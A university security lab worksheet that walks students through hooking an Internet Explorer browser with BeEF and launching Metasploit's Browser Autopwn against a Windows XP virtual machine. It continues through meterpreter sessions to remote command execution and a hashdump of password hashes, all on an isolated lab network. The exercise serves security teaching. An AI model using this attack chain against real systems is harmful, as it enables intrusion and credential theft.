
CIS2376 PRACTICAL
Week 6 - BeEF Worksheet

Important Warning
Some of the techniques we have discussed in this weeks teaching materials should not be 
used or practiced on any University network. To do so could result in instant suspension 
from the University.

Questions
In answering this week’s questions you will need to run the following virtual machines:

• Ubuntu 10.04

• Windows XP SP2

Setup Ubuntu so that:

• the Metasploit console is up and running and the XMLRPC module has been loaded via:

cd /usr/local/share/metasploit-framework

./msfconsole

msf> load xmlrpc Pass=BeEFMSFPass

• Firefox is launched and the URL http://192.168.2.3/beef/ui has been loaded

Setup Windows so that:

• Internet Explorer is launched and the URL http://192.168.2.3/beef/hook/example.php 
has been loaded

At this point, if you shift focus back to the Ubuntu instance of Firefox, you should now see 
Internet Explorer listed as a zombie within the BeEF controlling browser window.

Within the Ubuntu Firefox instance, if you select the Internet Explorer zombie you should 
now be able to open up an alert dialog with the Windows XP environment by launching the 
alert standard module.

Test that your BeEF server can talk (over XMLRPC) to the Metasploit instance by using 
the MSF Browser Exploit browser module.
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Having successfully performed the above tests, we can now launch a full scale attack 
against our Internet Explorer zombie by using the MSF Browser Autopwn module. Before 
sending this browser module to our zombie ensure that:

• you have selected the zombie you wish to target

• LHOST is set to 192.168.2.3

If all works well, then at some point you should see meterpreter sessions being created at 
the Metasploit console. Issue jobs to see what work is going on and sessions to see if any 
meterpreter sessions have been created.

When you see something like:

Active sessions
===============
  Id  Description  Tunnel
  --  -----------  ---------
  1  Meterpreter   192.168.2.2:43275 -> 192.168.2.3:55671
we can then interact with a given session by issuing:

sessions -i 1

At this point, try launching the calculator within the Windows virtual machine by issuing:

execute -f calc.exe

You should now have a calculator open within the Windows XP machine!

Issue hashdump to grab all the usernames and hash encrypted passwords from the pwned 
machine!!

For more information on using this environment look at:

http://www.ethicalhacker.net/content/view/276/24/
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